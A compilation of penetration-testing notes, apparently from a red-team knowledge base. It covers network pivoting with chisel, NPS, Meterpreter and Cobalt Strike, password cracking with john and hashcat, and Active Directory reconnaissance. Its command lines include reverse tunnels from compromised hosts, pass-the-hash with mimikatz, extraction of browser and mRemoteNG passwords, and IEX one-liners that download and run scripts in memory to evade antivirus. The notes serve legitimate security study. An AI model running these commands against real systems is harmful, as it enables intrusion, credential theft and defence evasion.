Local port forwarding to make accessible the service from the server on `<SERVER_FORWARDED_IP>:<SERVER_FORWARDED_PORT>` to the client on `<CLIENT_TUNNEL_IP>:<CLIENT_TUNNEL_PORT>`. `<SERVER_FORWARDED_IP>` can be localhost or any IP or host such as a host exposing a website on the Internet.

```bash
# chisel server-side (on the attacking machine).
chisel server [--host <0.0.0.0 | IP>] [-p <8080 | PORT>]

# chisel client-side (on the target machine).
# By default the port is opened client-side on all interfaces (<CLIENT_TUNNEL_IP> = 0.0.0.0) with a local (client-side) port matching the one of the forwarded service (<CLIENT_TUNNEL_PORT> = <SERVER_FORWARDED_PORT>).
# Example: www.github.com:443 (<SERVER_FORWARDED_PORT>:<SERVER_FORWARDED_PORT>) to make GitHub accessible on the compromised client.
chisel client <SERVER_IP>:<SERVER_PORT> <SERVER_FORWARDED_PORT>
chisel client <SERVER_IP>:<SERVER_PORT> <SERVER_FORWARDED_PORT>:<SERVER_FORWARDED_PORT>
chisel client <SERVER_IP>:<SERVER_PORT> <HOSTNAME | IP> <CLIENT_TUNNEL_IP>:<CLIENT_TUNNEL_PORT>:<SERVER_FORWARDED_IP>:<SERVER_FORWARDED_PORT>
```

**Chisel remote port forwarding**

Remote port forwarding to forward traffic received server-side on `<SERVER_TUNNEL_IP>:<SERVER_TUNNEL_PORT>` to `<REMOTE_HOST>:<REMOTE_PORT>` through the client. `<REMOTE_HOST>` can be localhost or any IP such as one accessible in the internal network from the compromised client.

```bash
# chisel server-side (on the attacking machine).
chisel server [--host <0.0.0.0 | IP>] [-p <8080 | PORT>] --reverse

# chisel client-side (on the target machine).
# By default the port is opened server-side on localhost (<SERVER_HOST> = 127.0.0.1) with a local (server-side) port matching the one the traffic is routed to (<REMOTE_PORT> = <SERVER_TUNNEL_PORT>).
chisel client <SERVER_IP>:<SERVER_PORT> R:<REMOTE_HOST>:<REMOTE_PORT>
chisel client <SERVER_IP>:<SERVER_PORT> R:<SERVER_TUNNEL_IP>:<SERVER_TUNNEL_PORT>:<REMOTE_HOST>:<REMOTE_PORT>
```

**Chisel SOCKS proxy**

Establish a `SOCKS` proxy that can be used server-side to channel traffic through the compromised client:

```bash
# chisel server-side (on the attacking machine).
chisel server [--host <0.0.0.0 | IP>] [-p <8080 | PORT>] --reverse --socks5

# chisel client-side (on the target machine).
# By default the SOCKS proxy listen server-side on 127.0.0.1:1080 (<SERVER_TUNNEL_IP>:<SERVER_TUNNEL_PORT>).
chisel client <SERVER_IP>:<SERVER_PORT> R:socks
chisel client <SERVER_IP>:<SERVER_PORT> R:<SERVER_TUNNEL_IP>:<SERVER_TUNNEL_PORT>:socks
```

Refer to the `Overview - SOCKS proxy pivots` paragraph above for more information on how to make use of the `SOCKS` proxy, using `proxychains` or through `metasploit`.

#### NPS

`NPS` is a high-performance proxy server suite, analogous to a C2 framework, with cross-platforms agents and a web management interface. It supports numerous network protocols: socks5, http proxy, tcp, udp, http(s), etc. `NPS` additionally implements multiple extension functions, such as client authentication and network compression and encryption, and can display connected clients usage information (real-time bandwidth, total volume of data exchanged, etc.).

Through an established connection of a client to the server, multiple proxies services can be started (both socks5 and HTTP proxies for a given client for example).

Before use, the configuration file of `NPS`, in `/etc/nps/conf/nps.conf` on a default Linux installation, should be edited to securely restrict the access to the web management interface:

```
# The default credentials are admin:123 with the web interface being exposed on all network interfaces
web_username=<ADMIN>
web_password=<PASSWORD>
web_ip=127.0.0.1

# If the web management interface must be reachable over the network, it is recommended to enforce the use of the SSL / TLS protocol
web_open_ssl=true
web_cert_file=<CERT_FULL_PATH>
web_key_file=<KEY_FULL_PATH>
```

Server startup and initial client connection to the server:

```bash
# Server side
nps start / restart

# A client must first be configured through the web management interface in order to receive a client callback.
URL of the web management interface: http://127.0.0.1:8080 (by default).
Client -> + Add -> Eventual configuration of client basic auth and network compression / encryption -> v Add

The "Unique verify key" is needed for the client callback.
The callback command may be copied directly (as displayed after clicking on the "+" sign in front of the client).

# Client side
# ./npc on Linux or npc.exe on Windows.
npc -server=<IP>:<8024 : SERVER_BRIDGE_PORT> -vkey=<UNIQUE_VERIFY_KEY> -type=tcp
```

Once a client has established a session with the server, the following pivoting functions can be configured through the web management interface:

* Unitary port forwarding using the `TCP` or `UDP` menus
* `HTTP` or `SOCKS5` proxies using the `HTTP proxy` or `SOCKS 5` menus

For instance, the procedure to deploy a `SOCKS5` proxy on the compromised system is as follow:

```
SOCKS 5 -> + Add -> Specification of the client ID and the local system proxy port <SOCKS_PROXY_PORT> -> v Add
```

Refer to the `Overview - SOCKS proxy pivots` paragraph above for more information on how to make use of the `SOCKS` proxy, using `proxychains` or through `metasploit`.

#### \[Linux / Windows] xct's xc

`xc` is a reverse shell for Linux and Windows written in `Go` that include, among others, local / remote ports forwarding functionalities. `xc` can be used for basic port forward scenarios.

Refer to the `[General] Shells` note (`[Linux / Windows] xct's xc` section) for more information on the `xc` reverse shell utility.

#### \[Linux / Windows] Meterpreter

**Meterpreter's unitary port forwarding**

The `portfwd` command from within the `meterpreter` shell can be used to forward TCP connections through a compromised machine.

```
portfwd [add | delete | list | flush] [args]

# List active port forwards
portfwd list

# Add port forward
portfwd add –l <LOCAL_PORT> –p <REMOTE_PORT> –r <REMOTE_HOST>

# Delete specific port forward
portfw delete -i <INDEX>

# Delete all port forwards
portfw flush
```

**Meterpreter's dynamic port forwarding**

Contrary to unitary port forwarding, dynamic port forwarding allows for the complete tunneling of full IP and ports range. The `autoroute` command from within the `meterpreter` shell can be used to forward TCP connections through a compromised machine.

```
TODO
```

#### \[Windows] Cobalt Strike

`Cobalt Strike` supports the following pivoting mechanisms:

* Ports forwarding
* Pivot listeners
* Dynamic ports forwarding through a SOCKS proxy
* VPN access

**Cobalt Strike's pivot listeners**

`Cobalt Strike`'s `pivot listeners` are listeners started on compromised systems to chain beacons communication in an internal Information System (IS). The `pivot listener` will serve as a pass-through between further beacons and the C2 listeners in order to minimize the number of beacons connections to the C2 servers or compromise systems that couldn't otherwise reach the C2 servers.

A pivot listener can be started on a beacon using the beacon built-in function `[beacon] -> Pivoting -> Listeners...`.

As of now, `pivot listeners` can only be of type `windows\beacon_reverse_tcp` and do not support stager payloads.

Note that the functionally does not automatically update the system host-based firewall configuration and a manual modification of the firewall rules may be necessary in order to allow inbound traffic on the listener port.

**Cobalt Strike's SOCKS proxy**

A `SOCKS4` proxy service can be started on a beacon using the beacon built-in function `[beacon] -> Pivoting -> SOCKS Server` or through the beacon CLI using `socks <C2_LOCAL_SOCK_PORT>`.

The actives `SOCKS4` proxies can be viewed and managed through the `View -> Proxy Pivots` interface. All the `SOCKS4` proxies running on a beacon can also be stopped directly through the beacon CLI using `socks <SOCK_PORT>`.

Refer to the `Overview - SOCKS proxy pivots` paragraph above for more information on how to make use of the `SOCKS` proxy, using `proxychains` or through `metasploit`.

**Cobalt Strike's CovertVPN**

`This feature does not work on Windows 10 systems.`\
`Require Administrator privileges on the compromised system.`

The `Cobalt Strike` `CovertVPN` feature is a layer 2 pivoting capability that deploy a network interface on the C2 server and bridge it, through a running beacon, to a compromised system network. While the traffic can be channeled over the `TCP`, `HTTP` and `ICMP` protocols, the use of the `UDP` protocol is recommended for performance optimization.

A `CovertVPN` pivot can be started on a beacon using the beacon built-in function `[beacon] -> Pivoting -> Deploy VPN` or through the beacon CLI using `covertvpn <INTERFACE_NAME> <BEACON_IP_NETWORK>`. If the `Clone host MAC address` option is checked, the network interface deployed on the C2 server will have the same MAC address as the compromised system network interface.

The actives `CovertVPN` pivots can be viewed and managed through the `Cobalt Strike -> VPN Interfaces` menu.

Once up and running, the network interface on the C2 server will require further configuration, such as specifying an IP address, in order to reach the network it is attached to. This configuration may be done either automatically through the `Dynamic Host Configuration Protocol (DHCP)` protocol, if a `DHCP` server is reachable on the network, or manually.

```bash
# Verification of the presence of the CovertVPN network interface on the C2 server
ifconfig <INTERFACE_NAME>

# Automatic configuration of the CovertVPN network interface using the internal DHCP server
dhclient <INTERFACE_NAME>

# Manual setting of an IP address and default gateway, can be used if a DHCP server is not available or for a more covert approach
# The beacon network interface information can be retrived using the "run ipconfig" command
# Specifying a default gateway for the network interface is needed to reach systems outside of the (Virtual) Local Area Network ((V)LAN)  
ifconfig <INTERFACE_NAME> <IP> netmask <255.255.255.0 | NETWORK_NETMASK> up
ip route add default via <IP> dev <INTERFACE_NAME>
```

### Pivoting over Web TCP tunnel

`reGeorg` and `ABPTTS` can be used to act as socks proxies and tunnel `TCP` traffic over an `HTTP` / `HTTPS` connection made to a web application. A web page / package must be deployed and executed by the web server, in similar fashion as a classical web shell.

#### reGeorg

`reGeorg` supports the following web application / languages:

* ashx
* aspx
* js
* jsp
* php
* tomcat jsp

Once the page / package is deployed, `reGeorg` socks server can be started:

```bash
python reGeorgSocksProxy.py -p <LOCAL_SOCKS_PROXY_PORT> -u <http | https>://<HOSTNAME | IP>/<PATH>/<tunnel.xx>
```

Refer to the `Overview - SOCKS proxy pivots` paragraph above for more information on how to make use of the `SOCKS` proxy, using `proxychains` or through `metasploit`.


# Passwords cracking

Password cracking is the process of recovering passwords from data that have been stored in or transmitted in a hashed form by a computer system.

Passwords cracking can be attempted using a:

* Brute-force attack, in which all possible passwords are exhaustively tried. Past a certain password length and complexity, brute force attack become ineffective
* Dictionary attack rely on a wordlist to guess passwords
* Rainbow table attack use a precomputed table of hashes reducing the computer processing time required

The time to crack a password is related to the password strength and the hashing function used.

### Wordlist

The following word list can be used for passwords cracking:

| Name                  | Entry count       | Description                                                                                  |
| --------------------- | ----------------- | -------------------------------------------------------------------------------------------- |
| `darkweb2017-top`     | 10/100/1000/10000 | Top X passwords.                                                                             |
| `rockyou.txt`         | 14 millions       | Usually considered sufficient for any CTF purpose, coupled if necessary with cracking rules. |
| `CrackStation`’s 15GB | 1.5 billion       | The publicly available most complete password wordlist to date.                              |

**kwprocessor**

`kwprocessor` is a keyboard-walk generator utility, with configurable basechars, keymap and routes. Keyboard-walk sequences correspond to a sequence of juxtaposed keyboard keys, such as "qwerty" or "azerty" for example.

The `basechars` characters list consist of every characters that will be used as a starting point for the keyboard-walking sequences. The `tiny.base` list includes very limited, `QWERTY` keyboard based, starting points: `1q!Q`. The `full.base` file provides a more comprehensive `basechars` list and its use is recommended.

The `keymap` correspond to a keyboard layout, representing the physical disposition of the keyboard keys. A `keymap` file should consist of 12 lines: 4 complete physical keyboard lines, represented as of (`azertyuiop^$`), and if pressed in combination with the modifier keys `Shift` (`AZERTYUIOP¨£`) and `AltGr` (`€¤`). Various keymaps (`en-us`, `en-gb`, `fr`, `es`, `de`, `ru`, etc.) are provided on the `kwprocessor` GitHub.

The `route` corresponds to the patterns used to generate the keyboard-walking sequences. A `route` is composed of a sequence of number(s), each number representing the number of pressed keys in the same geographical directions (north, south, west and east by default, extendable to north-west, north-east, south-west, south-east and repeat in place). For example, the route `1`, for the `h` key starting point and with the default `kwprocessor` configuration, would generate the following words: `hn`, `hg`, `hj` and `hy`.\
For more information and explanation on `route`, refer to the `kwprocessor` GitHub documentation: `https://github.com/hashcat/kwprocessor`

```
# -s: include characters reachable by holding Shift. Default to false.
# -a: include characters reachable by holding AltGr. Default to false.
# -n: minimum allowed distance between keys. Default to 1.
# -x: maximum allowed distance between keys. Default to 1.
# --keywalk-all: enable all --keywalk-* directions (keywalk-north, keywalk-south, keywalk-west, keywalk-east, keywalk-north-west, keywalk-north-east, keywalk-south-west, keywalk-south-east and keywalk-repeat).
# Default keywalk routes are the cardinal geographic directions: north, south, west and east, with out repetition.

kwp -s 1 -a 1 ./basechars/full.base <KEYBOARD_LAYOUT_FILE> <ROUTES> > <OUTPUT_FILE>
```

### Python EXREX

The Python `EXREX` module can be used to generate wordlists from the specified regular expression.

```
# pip install exrex

import exrex

# Example regex to generate variation around the password keyword:
# ((p|P)(a|A|@)(s|S|\$){2}(w|W)(o|O|0)(r|R)(d|D)\d{0,3}!{0,3})

print '\n'.join(exrex.generate('<REGEX>'))
```

### Hash types

The `hashid` Python utility can be used to determine the hash type and its corresponding `hashcat` and `john` modules:

```
hashid -m -j "<HASH | HASH_FILE>"
```

Additionally, the `hashcat` documentation may be directly used as well in order to identify the hash type and its corresponding `hashcat` mode:

```
https://hashcat.net/wiki/doku.php?id=example_hashes
```

### Passwords cracking tools

It is recommended to use the cracking tools on the native operating system, as opposed to a virtual system, as the performance can greatly improve.

John should be used for quick passwords cracking attempts while hashcat allows for better performance and more complex attacks for serious needs.

**John-the-Ripper & magnumripper John-the-Ripper**

`John`, also abbreviated `JrT`, is a password cracking tool, available notably on Linux and Windows and supporting a wide range of hashes type.

The `Jumbo` version of `John the Ripper` is a community-enhanced version of `John` that can be found on the `magnumripper` `GitHub` repository. It notably supports more hash types.

`John` will try to automatically detect the hash type of the provided hashes. John stores the cracked passwords in a "pot" file, located in `~/.john/john.pot`.

`John-the-Ripper` usage:

```
john [OPTIONS] [HASH_FILE]

# Supported hash types
john --list=formats

# Show cracked passwords
john --show <HASH_FILE>
cat ~/.john/john.pot

# With out the --format option, John will automatically attempt to determine the hash type.
john --wordlist=<WORDLIST> <HASH_FILE>
john --wordlist=<WORDLIST> --format=<HASH_FORMAT> <HASH_FILE>

# Default rules.
john --wordlist=<WORDLIST> --rules --format=<HASH_FORMAT> <HASH_FILE>

# Specified rule.
john --wordlist=<WORDLIST> --rules=<Jumbo | KoreLogic | All | RULE_NAME> --format=<HASH_FORMAT> <HASH_FILE>
```

**hashcat**

`hashcat` is an advanced cracking tool that generally offer better performance than `John` and is considered to be among the world's fastest password cracking tool.

Multi-OS (Windows, Linux, etc.) and multi-platforms (CPU, GPU, etc.), `hashcat` supports more than 200 different hash types.

Moreover, `hashcat` introduced rule-based attack, which is one of the most complicated of all the passwords cracking attack modes. The rule-based attack is like a programming language designed for password candidate generation. It has functions to modify, cut or extend words and has conditional operators.

The [`OneRuleToRuleThemAll`](https://github.com/NotSoSecure/password_cracking_rules) or its newer version [`OneRuleToRuleThemStill`](https://github.com/stealthsploit/OneRuleToRuleThemStill) rule aggregate multiples rule sets with the aim of maximizing efficiency (success rates versus number of total candidates).

The following attack modes can be used, specified by the `-a` / `--attack-mode` option:

* 0: dictionary attack
* 1: combinator attack, concatenating words from multiple wordlists
* 3: mask attack, trying all combinations from a given keyspace, defined using a mask
* 6/7: hybrid attack, combining wordlists+masks (mode 6) and masks+wordlists (mode 7)

`hashcat` usage:

```
# Supported hash types, with a hash example
# -m 500 for md5crypt
# https://hashcat.net/wiki/doku.php?id=example_hashes
hashcat --example-hashes

# -w: Sets workload profile, with may have significant performance and power consumption impacts. 1 = Low, 2 = Default, 3 = High, and 4 = Nightmare.
# --hwmon-temp-abort <TEMP_DEGRE_CELSIUS>: Defines a maximum temperature in place of the default 90° celsius.
hashcat [options] <HASH | HASH_FILE> [<WORDLIST | MASK>]

# Dictionary attack
hashcat -w 3 -m <HASH_TYPE> -a 0 -o <OUTPUT_FILE> <HASH | HASH_FILE> <WORDLIST>
hashcat -w 3 -m <HASH_TYPE> -a 0 -r <best64.rule | OneRuleToRuleThemAll.rule | RULE_FILE> -o <OUTPUT_FILE> <HASH | HASH_FILE> <WORDLIST>

# Mask attack
# A mask is a string that configures the keyspace of the password candidate
# Built-in mask charsets
    ?l = abcdefghijklmnopqrstuvwxyz
    ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
    ?d = 0123456789
    ?h = 0123456789abcdef
    ?H = 0123456789ABCDEF
    ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    ?a = ?l?u?d?s
    ?b = 0x00 - 0xff

hashcat -w 3 -m <HASH_TYPE> -a 3 --increment -o <OUTPUT_FILE> <HASH | HASH_FILE> "?a?a?a?a?a?a?a?a"
hashcat -w 3 -m <HASH_TYPE> -a 3 --increment --increment-min=4 -o <OUTPUT_FILE> <HASH | HASH_FILE> "?a?a?a?a?a?a?a?a"
```

### Misc

**Firefox / Thunderbird stored passwords**

`Firefox` and `Thunderbird` save the password registered by the user in the user profile:

```bash
~/.mozilla/firefox/$profile$.default/
~/.thunderbird/$profile$.default/
```

The passwords are stored in the following files:

```bash
Key3.db
signons.sqlite3 / logins.json
```

A master password can be set in either program and this affects `key3.db`. By default no password is set.

`John-the-Ripper` can be used to crack the master password:

```bash
# First extract the master password hash
python mozilla2john.py key3.db > john_key3.hash

# Crack it with john
john --show john_key3.hash
```

The passwords can then be extracted from the `Firefox` / `Thunderbird` profile:

```bash
python firefox_decrypt/firefox_decrypt.py <PATH_TO_PROFILE>
```

**ZIP and RAR protected archives**

The Linux utilities `zip2john` and `rar2john`, packaged with the `John the Ripper Jumbo` community version, can be used to extract the hash of the password protecting the archive.

```
zip2john <ZIP_FILE> > <ZIP_HASH_FILE>
rar2john <RAR_FILE> > <RAR_HASH_FILE>
```

`Jumbo john` can then be used to crack the extracted hash.

```
# Detected hash type should be "PKZIP [32/64]"
john --wordlist=<WORDLIST> <ZIP_HASH_FILE>
john --wordlist=<WORDLIST> <RAR_HASH_FILE>
```

The Linux utility `fcrackzip` may be used as well and works directly on the ZIP archive.

```
# -u (–use-unzip): use unzip to weed out wrong passwords
# -D and -p: use dictionary with the specified wordlist
fcrackzip -u -D -p <WORDLIST> <ZIP_FILE>
```

**Password protected PDF**

The Linux utility `pdfcrack` can be used to crack password protecting PDF files.

```
pdfcrack -w <WORDLIST> -f <PDF_FILE>
```

**Encrypted SSH private keys**

The Linux utilities `ssh2john`, packaged with the `John the Ripper Jumbo` community version, can be used to convert an encrypted SSH private key to a crackable hash by `john`.

```
ssh2john <SSH_PRIVKEY_ENC_FILE> > <SSH_HASH_FILE>
```

`Jumbo john` can then be used to crack the extracted hash.

```
john --wordlist=<WORDLIST> <SSH_HASH_FILE>
```

**Linux Unified Key Setup (LUKS)**

`hashcat` and `bruteforce-luks` can be used to crack LUKS encrypted disks:

```
dd if=<DISK | FILE> of=tmp_luks_header bs=512 count=4097
# dd if=<DISK | FILE> of=tmp_luks_header bs=1M count=10
hashcat --force -m 14600 -a 0 -w 3 tmp_luks_header <WORDLIST>
bruteforce-luks -t 4 -f <WORDLIST> tmp_luks_header
```

Once the password is retrieved, the Linux utility `cryptsetup` can be used to create a device that can be mounted:

```
cryptsetup  open --type luks <LUKS_FILE> <DEVICE_NAME>
mount /dev/mapper/<DEVICE_NAME> /mnt
```

**PKCS#12 certificate**

The Linux utilities `pfx2john`, packaged with the `John the Ripper Jumbo` community version, can be used to convert a password protected `PKCS12` certificate to a hash crackable by `john`.

```
pfx2john <PKCS12_CERTIFICATE> > <PKCS12_HASH_FILE>

john --wordlist=<WORDLIST> <PKCS12_HASH_FILE>
```

**mRemoteNG**

`mRemoteNG` is an open source multi-protocol remote connections manager. The connections information, including usernames and passwords, are stored encrypted in `confCons.xml` files.

On older versions of `mRemoteNG`, the passwords were encrypted in AES-128-CBC using the md5 of `mR3m` as the secret key and storing the IV in the 16 first bytes of the passwords hash.

The clear-text passwords can be retrieved on all `mRemoteNG` versions directly through the GUI application by creating an external tool:

```
Tools -> External Tools -> New External Tool
  Display Name: Print password
  Filename: cmd
  Arguments: /k echo %password%

After the confCons.xml is loaded, the created external tool can be used to retrieve the passwords
Connections -> <CONNECTION> -> External Tools -> Print pasword
```

***

### References

<https://github.com/hashcat/kwprocessor> <http://cosine-security.blogspot.com/2011/06/stealing-password-from-mremote.html> <https://robszar.wordpress.com/2012/08/07/view-mremote-passwords-4/>


# Recon - Domain Recon

### Active Directory recon tools

The tools presented below are usable through Pass-the-Hash attack using the `sekurlsa::pth` module of `mimikatz`:

```
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<HASH> /run:<mmc.exe | powershell.exe>
```

Refer to the `Windows - Lateral movement` note, section `Mimikatz Pass-The-Hash`, for more information.

The Microsoft `Remote Server Administration Tools (RSAT)` utilities and PowerShell cmdlets (except for the `Group Policy Management Editor` utility) and the PowerShell `PowerView` cmdlets can usually be used on out of domain computer by specifying `PSCredential` object:

```
$secpasswd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $secpasswd)

<RSAT_AD_CMDLET> -Credential <PSCredential> -Server <DC_HOSTNAME | DC_IP>
```

**\[GUI] Microsoft Management Console (mmc.exe)**

The `Microsoft Management Console (MMC)` utility allows for the loading of the `Remote Server Administration Tools (RSAT)` utilities, such as `Active Directory Users and Computers (dsa.msc)` and `Active Directory Domains and Trusts (domain.msc)`, under the same security context, possibly obtained through Pass-the-Hash.

The process to load an utility is as follow:

```
File -> Add/Remove Snap-in (Ctrl + M) -> Selection of one or multiple chosen snap-in
```

Once the utility is loaded, the Domain Controller queried by the snap-in may be specified by right clicking on the utility and going through the `Change Directory Server` / `Change Active Directory Domain Controller` form.

**\[GUI] Sysinternals's AdExplorer**

`Active Directory Explorer (ADExplorer)`, part of the `Sysinternals` suite, is a standalone graphical utility that can be used to access and browse Active Directory domains. `AdExplorer` presents the advantage of being digitally signed by Microsoft and potentially legitimately used in the environment. `ADExplorer` rely on the `LDAP` protocol (port `TCP` 389) by default, and supports the `LDAPS` protocol (port `TCP` 636).

While `AdExplorer` connection prompt contains username and password fields, the current security context is used for the connection if both fields are left empty.

As one of it's most predominant feature, `AdExplorer` offers the ability to take "snapshots" of the Active Directory domain, allowing for off-target / offline viewing of Active Directory objects. For medium to large sized domains, a snapshot can weight hundreds of megabytes to a few gigabytes.

Once connected to an Active Directory domain, the procedure to take a snapshot is as follow:

```
File -> Create Snapshot... (or directly through the save icon)
  -> Path for the snapshot file
  -> Optional throttle to limit the usage of resource
```

`AdExplorer` snapshots can be used as an ingestor for `BloodHound` using the [`ADExplorerSnapshot.py`](https://github.com/c3c/ADExplorerSnapshot.py) Python script. Refer to the `[ActiveDirectory] Recon - AD scanners` note for more information.

**\[CLI] Remote Server Administration Tools (RSAT) - PowerShell**

The `Remote Server Administration Tools (RSAT)` suite includes a number of utilities useful for Active Directory reconnaissance and notably the `Active-Directory` module for Windows PowerShell. The `Active-Directory` module consolidates a group of cmdlets, that can be used to retrieve information and manage Active Directory domains. The cmdlets of `ActiveDirectory` module rely on the `Active Directory Web Services (ADWS)` over port `TCP` 9389.

```
Import-Module ActiveDirectory
```

While the `RSAT` requires Administrator level-privileges to be installed, the `DLL` `Microsoft.ActiveDirectory.Management.dll` can be directly imported from an unprivileged user session. The `DLL` is usually located at the following path: `%SystemRoot%\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\[...]` on a system with the `RSAT` installed.

Note however that all objects properties will not be retrieval following a direct import of **only** the `Microsoft.ActiveDirectory.Management.dll`. This can be addressed by importing the PowerShell Active Directory `module manifest`, with the necessary files available, after importing the module `DLL`. The files are usually located in `%SystemRoot%\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\`.

Once the `DLL` has been uploaded to the target, or made accessible on a network share, the Active Directory module can be imported:

```bash
# PowerShell Active Directory module DLL.
# Copied from %SystemRoot%\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\vXXX\Microsoft.ActiveDirectory.Management.dll
Import-Module <PATH\Microsoft.ActiveDirectory.Management.dll>

# PowerShell Active Directory module manifest.
# Required files: ActiveDirectory.Format.ps1xml, ActiveDirectory.psd1, and ActiveDirectory.Types.ps1xml.
# Copied from %SystemRoot%\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\.
Import-Module <PATH\ActiveDirectory.psd1>

# Necessary for some cmdlets, notably Get-Acl / Set-Acl - requires to be executed in a domain authenticated security context
New-PSDrive -Name AD -PSProvider ActiveDirectory -Server "<DC_IP>"
```

The [`Import-ActiveDirectory.ps1`](https://github.com/samratashok/ADModule) PowerShell script, in-lining the `Microsoft.ActiveDirectory.Management.dll`, may also be used to import the Active Directory module:

```
# In memory injection of the Microsoft.ActiveDirectory.Management.dll.
IEX (new-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Import-ActiveDirectory.ps1'); Import-ActiveDirectory
```

**\[CLI] PowerSploit PowerView**

`PowerView` is a PowerShell tool to gain network situational awareness on Windows domains. It contains a set of pure-PowerShell replacements for various windows "net" commands, which utilize PowerShell AD hooks and underlying Win32 API functions to perform useful Windows domain functionality.

It also implements various useful metafunctions, including some custom-written user-hunting functions which will identify where on the network specific users are logged into. It can also check which machines on the domain the current user has local administrator access on. Several functions for the enumeration and abuse of domain trusts also exist.

The `dev` branch has the most up-to-date cmdlets: `git clone --single-branch --branch dev https://github.com/PowerShellMafia/PowerSploit.git`

```
# PowerShell by default will not allow execution of PowerShell scripts
powershell.exe -ExecutionPolicy bypass powershell.exe
Set-ExecutionPolicy -Force -Scope CurrentUser -ExecutionPolicy Bypass

Import-Module <PATH\PowerView.ps1>
```

`PowerSploit` can trigger antivirus software. To bypass such controls, inject it directly in memory:

```
(New-Object System.Net.WebClient).Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials

# Master fork - Stable
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Empire fork - Maintained
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
```

`SharpView.exe` is a C# port of `PowerView` and support a number of the `PowerView`'s cmdlets.

```
SharpView.exe <CMDLET> <LIST_ARGUMENTS>
```

**\[CLI] AdFind**

`AdFind` is a command-line `C++` utility that can be used as a standalone binary for Active Directory reconnaissance. `AdFind` implements a number of aliases to facilitate enumeration as well as the possibility to make direct `LDAP` query.

```
AdFind.exe <SWITCHES> [-b <BASE_DN>] [-f <LDAP_FILTER>] [<ATTRIBUTE_FILTER>]

# Example to retrieve all users' SAMAccountName and SID by querying a Global Catalog Domain Controller.
AdFind.exe -gc -list -f (objectcategory=user) sAMAccountName objectSid
```

**\[CLI] Active Directory Services Interfaces (ADSI)**

`Active Directory Services Interfaces (ADSI)` is a set of interfaces built-in the Windows operating system. The `DirectoryEntry` and `DirectorySearcher` classes can be used on Windows system to query `AD Domain Services` with the advantage of not requiring any additional pre-requisite or tooling.

### Active Directory forest

To retrieve forest information, the following commands can be used:

```
# PowerShell Active-Directory module
Get-ADForest
Get-ADForest -Identity <FOREST>
Get-ADForest -Current LoggedOnUser
Get-ADForest -Current LocalComputer

# SID of all domains in the current forest
(Get-ADForest).Domains | %{ Get-ADDomain -Server $_ } | Select-Object Name, DomainSID

# PowerView
Get-NetForest [[-Forest] <String>] [[-Credential] <PSCredential>]
Get-NetForest
Get-NetForest -Forest <FOREST>
```

### Active Directory domains

To retrieve domain information, the following commands can be used:

```
# CMD
echo %userdomain%
systeminfo | findstr /B /C:"Domain:"
wmic computersystem get <DOMAIN>

# PowerShell Active-Directory module
Get-ADDomain
Get-ADDomain <DOMAIN>
Get-ADDomain -Current LoggedOnUser
Get-ADDomain -Current LocalComputer

# PowerView
Get-NetDomain [[-Domain] <String>] [[-Credential] <PSCredential>]
Get-NetDomain
Get-NetDomain -Domain <DOMAIN>

# AdFind.exe
# Lists the domains in the forest.
# "domainlist:short" can be used to list the domains NetBIOS name.
AdFind.exe -sc domainlist
```

### Forest and domain trust relationships

Trust relationships define an administrative and security link between two Windows forests or domains. They enable a user to access resources that are located in a forest or domain that’s different from the user’s proper forest or domain.

*Directions*

A trust relationship can be:

* one-way, given by one forest or domain, the trusting object, to another domain or forest, the trusted object
* two-way, meaning permissions extend mutually from both objects.

*Transitivity*

A transitive trust is a trust that is extended not only to the directly trusted object, but also to each objects that the trusted object trusts.

*Default and configured trusts*

All domains in a forest trust each others by default. External trusts can also be configured between domains of different forests.

The following different types of trusts exist in Active Directory:

| Trust type                                          | Direction          | Transitivity                 | Description                                                                                      |
| --------------------------------------------------- | ------------------ | ---------------------------- | ------------------------------------------------------------------------------------------------ |
| `Parent-Child`                                      | Two-way            | Transitive                   | Created automatically between a child domain and its domain parent                               |
| `Tree-Root`                                         | Two-way            | Transitive                   | Created automatically when a new Tree is added to a forest                                       |
| `Shortcut`                                          | One-way or two-way | Transitive                   | Created manually to improve performance between two domains in the same forest                   |
| <p><code>External</code><br><code>Forest</code></p> | One or two-way     | Non-transitive by default    | Manually created trusts between, respectively, domains of different forests or different forests |
| `Realm`                                             | One-way or two way | Transitive or non-transitive | Manually created trusts between an Active Directory forest and a non-Windows Kerberos directory  |

To retrieve the trusts affecting a forest or domain, the following commands can be used:

```
# PowerShell - Active Directory module

# Trusts of the current domain
Get-ADTrust -Filter *
Get-ADTrust -Filter * | Ft Name, Direction, DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware, TGTDelegation

# All trusts in the forest
(Get-ADForest).Domains | ForEach-Object { Get-ADTrust -Server $_ -Filter * -Properties *  | Ft Name, Direction, DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware, TGTDelegation }

# PowerShell - PowerView
Get-ForestTrust
Get-DomainTrust

# PowerShell - BloodHound
Invoke-BloodHound -CollectionMethod trusts
Invoke-BloodHound -Domain <DOMAIN_FQDN> -CollectionMethod trusts

nltest /trusted_domains

AdFind.exe -gcb -sc trustdmp
```

### SID resolution

The PowerShell `Get-ADObject` cmdlet, of the `ActiveDirectory` module, `PowerView`'s `ConvertFrom-SID` and `AdFind.exe` can be used to resolve the `SID` associated with any object (user, group, computer, etc.):

```
Get-ADObject -LDAPFilter "(objectSid=<SID>)"

ConvertFrom-SID <SID>

AdFind.exe -sc adsid:<SID>
```

### Organizational Units

```
# PowerShell - Active Directory module

# Enumerates the Organizational Units in hierarchical order.
Get-ADOrganizationalUnit -Server coredc.core.cyber.local -Properties CanonicalName -Filter * | Sort-Object CanonicalName | Select-Object CanonicalName,DistinguishedName | Ft -AutoSize

